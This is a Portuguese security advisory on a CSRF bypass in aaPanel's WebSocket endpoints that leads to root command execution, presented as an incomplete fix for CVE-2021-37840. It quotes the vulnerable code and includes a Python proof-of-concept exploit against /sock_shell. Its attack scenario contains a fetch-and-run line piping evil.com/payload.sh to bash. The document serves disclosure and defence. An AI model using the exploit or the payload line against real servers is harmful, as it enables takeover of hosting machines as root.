
aaPanel Bypass de CSRF em WebSocket levando a RCE (Correção incompleta para CVE-2021-37840)
Uma correção incompleta para o CVE-2021-37840 ainda expõe 3,6 milhões de servidores a RCE como root, 5 anos depois
Descoberto por: EON Security
CVE: Atribuição pendente
CVSS: 8.8 (Alta) — AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
Afetadas: versões 6.8.12 a 7.65.0 do aaPanel (todas as versões desde a correção de 2021)
Base instalada: mais de 3,6 milhões de servidores
Em 2021, uma vulnerabilidade de Cross-Site WebSocket Hijacking (CVE-2021-37840) foi divulgada no aaPanel, um painel de controle de hospedagem gratuito executado em mais de 3,6 milhões de servidores. O fornecedor adicionou uma verificação de token CSRF para "corrigir" o problema.
A correção estava arquiteturalmente errada.
Em vez de rejeitar conexões WebSocket não autenticadas no nível HTTP (retornando 401), a correção permite a passagem de todas as conexões (retorna 101 Switching Protocols) e só verifica a autenticação dentro do handler — depois que o WebSocket já foi estabelecido. A verificação CSRF que eles adicionaram pode ser contornada de várias maneiras.
A EON Security descobriu que, 5 anos depois, todas as versões do aaPanel ainda são vulneráveis à mesma classe de ataque.
Este é apenas o 10º CVE já atribuído ao aaPanel em seus mais de 6 anos de história.
Se você executa o aaPanel, veja o que um atacante pode fazer com você:
Cenário 1: um administrador clica em um link malicioso
curl http://evil.com/payload.sh | bash — esse comando é executado como root no seu servidorApenas um clique é necessário. Um clique equivocado e o atacante tem controle de tudo.
Cenário 2: uma chave de API vaza
Este é o problema maior. A proteção CSRF não se aplica de forma alguma a solicitações autenticadas por API. Ela foi projetada para verificar conexões baseadas em navegador, mas o caminho de código para acesso via API a ignora completamente.
De qualquer forma, 3,6 milhões de servidores são afetados. Todas as versões desde 2021.
g.api_request=True (solicitações autenticadas por API) e g.is_aes=True (solicitações criptografadas com AES) pulam a verificação completamente/sock_shell executa comandos arbitrários — subprocess.Popen(cmd + " 2>&1", shell=True)/webssh aceita credenciais SSH fornecidas pelo atacante — conectar-se a qualquer host SSHTodos os endpoints WebSocket retornam HTTP 101 Switching Protocols antes de qualquer verificação de autenticação. A verificação de autenticação comm.local() é executada dentro do handler, depois que o upgrade WebSocket já foi concluído:
@sockets.route('/sock_shell')
def sock_shell(ws):
comReturn = comm.local() # ← Auth check happens AFTER 101
if comReturn:
ws.send(str(comReturn))
return
Endpoints afetados:
/webssh (proxy de terminal SSH)/sock_shell (execução direta de comandos)/ws_panel (gerenciamento do painel)/ws_home (painel de controle)/ws_project (gerenciamento de projetos)/ws_model (gerenciamento de modelos)/workorder_client (sistema de tickets)/v2/* variantes de todos os acimaA função check_csrf_websocket() foi projetada para prevenir o Cross-Site WebSocket Hijacking:
def check_csrf_websocket(ws, args):
if g.is_aes: return True # ← Bypass: AES mode skips check
if g.api_request: return True # ← Bypass: API requests skip check
if public.is_debug(): return True
is_success = True
if not 'x-http-token' in args:
is_success = False
if is_success:
if public.get_csrf_sess_html_token_value() != args['x-http-token']:
is_success = False
if not is_success:
ws.send('token error')
return False
return True
Existem duas condições de bypass incondicional:
g.api_request: quando True (definido durante a autenticação por chave de API), a verificação CSRF é completamente ignorada. Qualquer sessão WebSocket autenticada por API contorna essa proteção.g.is_aes: quando True (definido durante solicitações de API criptografadas com AES), a verificação CSRF também é ignorada.A comparação do token (get_csrf_sess_html_token_value()) retorna session.get('request_token_head', ""). Em sessões em que esse valor ainda não foi inicializado, um x-http-token vazio passa na verificação.
O endpoint /sock_shell passa strings fornecidas pelo atacante diretamente para subprocess.Popen com shell=True:
def sock_recv(cmdstring, ws):
p = subprocess.Popen(cmdstring + " 2>&1",
close_fds=True,
shell=True, # ← Arbitrary command execution
stdout=subprocess.PIPE,
stderr=subprocess.PIPE)
Cada mensagem recebida no WebSocket é executada como um comando de shell. A saída é transmitida de volta via WebSocket. Como o aaPanel executa como root, isso é comprometimento total do sistema.
O endpoint /webssh aceita parâmetros de conexão SSH fornecidos pelo atacante na primeira mensagem WebSocket:
ssh_info['host'] = get['host'].strip()
ssh_info['port'] = int(get['port'])
ssh_info['username'] = get['username'].strip()
ssh_info['password'] = get['password'].strip()
Se o host for 127.0.0.1 ou localhost, o handler verifica no banco de dados se há credenciais salvas ou usa as fornecidas pelo atacante.
O caminho de exploração principal é CSWSH (Cross-Site WebSocket Hijacking), que exige interação do usuário:
wss://victim-panel:8888/sock_shellcomm.local() passa pela autenticação (cookie de sessão válido){"x-http-token": ""} ou explora os caminhos de bypass via API/AESCaminho alternativo via comprometimento da chave de API:
g.api_request = Trueimport asyncio, json, ssl
import websockets
async def exploit(target, command):
ssl_context = ssl.create_default_context()
ssl_context.check_hostname = False
ssl_context.verify_mode = ssl.CERT_NONE
async with websockets.connect(
f"wss://{target}/sock_shell", ssl=ssl_context
) as ws:
# Attempt CSRF bypass with empty token
await ws.send(json.dumps({"x-http-token": ""}))
resp = await asyncio.wait_for(ws.recv(), timeout=10)
if "token error" in resp:
# CSRF check active — may need API auth bypass
return None
# Execute command
await ws.send(command)
return await asyncio.wait_for(ws.recv(), timeout=30)
PoC completo: exploit.py
Use o script check.py para testar se uma instância do aaPanel possui endpoints WebSocket vulneráveis:
python3 check.py https://target:8888
g.api_request e g.is_aes não devem ignorar a proteção CSRF| Data | Evento |
|---|
Yadav — EON Security
Website: https://eonsecurity.co.za
Este conteúdo é licenciado sob a licença MIT. O PoC é fornecido apenas para fins educacionais e defensivos.
| Endpoint | Função | Impacto |
|---|
/webssh | Proxy de terminal SSH | Conectar-se a hosts SSH arbitrários com credenciais do atacante |
/sock_shell | Execução direta de comandos | RCE como root via comandos de shell |
/ws_panel | Gerenciamento do painel | Acesso aos dados do painel |
/ws_home | Painel de controle | Acesso aos dados do painel de controle |
/ws_project | Gerenciamento de projetos | Acesso aos dados de projetos |
/ws_model | Gerenciamento de modelos | Acesso aos dados de modelos |
/workorder_client | Sistema de tickets | Acesso aos dados de tickets |
/v2/* | Todas as variantes v2 | O mesmo que acima |
| 2021-08-02 | CVE-2021-37840 divulgado (aaPanel CSWSH) |
| 2021 | Fornecedor adiciona check_csrf_websocket() como correção |
| 2026-06-23 | EON Security descobre que a correção está incompleta |
| Pendente | Atribuição do CVE |
| Pendente | Divulgação pública |